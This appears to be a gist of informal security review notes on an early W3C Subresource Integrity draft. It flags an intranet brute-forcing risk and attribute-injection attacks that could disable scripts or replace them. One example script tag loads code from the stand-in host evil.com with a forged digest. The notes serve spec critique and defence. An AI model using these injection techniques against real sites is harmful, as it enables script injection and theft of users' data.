gistfile1.txt

http://w3c.github.io/webappsec/specs/subresourceintegrity/

issues:

"3.3.2 Is resource eligible for integrity validation

In order to mitigate an attackers ability to read data cross-origin by brute-forcing values via integrity checks, resources are only eligible for such checks if they are same-origin, publically cachable, or is the result of a granted the loading origin explicit access via CORS. [CORS] The following algorithm details these restrictions:"

publically cacheable != attacker could could read them anyway. For example - cross origin intranet resources. What if intranet resource is publicly cacheable? still allows for bruteforcing intranet resource body from internet (SOP bypass)

<iframe integrity> why not just <iframe srcdoc> or <iframe src=data:>?

3.5.2 
<script src="http://example.com/script.js"
        noncanonical-src="http://cdn.example.com/script.js"
        integrity="ni:///sha-256;jsdfhiuwergn...vaaetgoifq?ct=application/javascript"></script>

this is very xss-friendly (with only attribute injection being needed). if noncanonical-src and integrity attributes are injected here, not only can the attacker selectively disable loading chosen scripts, but can also inject his own. potentially even http:// in https:// origin. 


This is sketchy. attribute injection can selectively disable loading resources. 

4.1.1

Another variant of attack:

lure user to visit: <script src="http://evil.com/evil.js" digest="ni://sha-256;123...789">

use attribute inj vuln in bank to add digest="ni://sha-256;123...789" to any legitimate bank script, replacing it.